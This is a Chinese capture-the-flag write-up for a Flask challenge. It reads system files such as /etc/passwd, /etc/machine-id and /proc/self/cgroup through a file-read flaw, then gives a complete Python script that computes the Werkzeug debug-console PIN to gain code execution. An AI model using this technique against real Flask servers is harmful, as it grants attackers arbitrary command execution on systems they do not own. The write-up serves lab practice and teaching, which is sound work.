PolarD&N困难补充

fengci.2026-03-19 18:30

flask_pin

https://blog.csdn.net/uuzeray/article/details/134494238

flask算pin码

复制代码

要计算PIN码，需要private_bits 和public_bits 
分别需要确定的是：
1 python运行的脚本名
2 固定值  flask.app
3 固定值  Flask
4 当前脚本运行的绝对路径  可以从报错获取
5 uuid.getnode
6 machine_id

初始界面直接得知了app路径:/usr/local/lib/python3.5/site-packages/flask/app.py

访问/console发现开启了debug模式

读/etc/passwd看用户名

/sys/class/net/eth0/address读getNode得到uuid

02:42:ac:02:4a:f4十六进制转十进制即可

2485376928500

读/etc/machine-id

c31eea55a29431535ff01de94bdcf5cf

读 /proc/self/cgroup

1b73f0f7018dcced53af176d063600d9e68c82d322d36741a8d2903ae96ef0ea

整理后拼接得到最终machine_id

复制代码

c31eea55a29431535ff01de94bdcf5cf1b73f0f7018dcced53af176d063600d9e68c82d322d36741a8d2903ae96ef0ea

经过尝试sha1算法不对，可以用md5算法生成pin

复制代码

import hashlib
from itertools import chain

probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py'  # getattr(mod, '__file__', None),绝对路径
]

private_bits = [
    '2485376928500',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    'c31eea55a29431535ff01de94bdcf5cf1b73f0f7018dcced53af176d063600d9e68c82d322d36741a8d2903ae96ef0ea'
    # get_machine_id(), /etc/machine-id  加上  /proc/self/cgroup 两个值拼接
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

输入pin进入console，为所欲为即可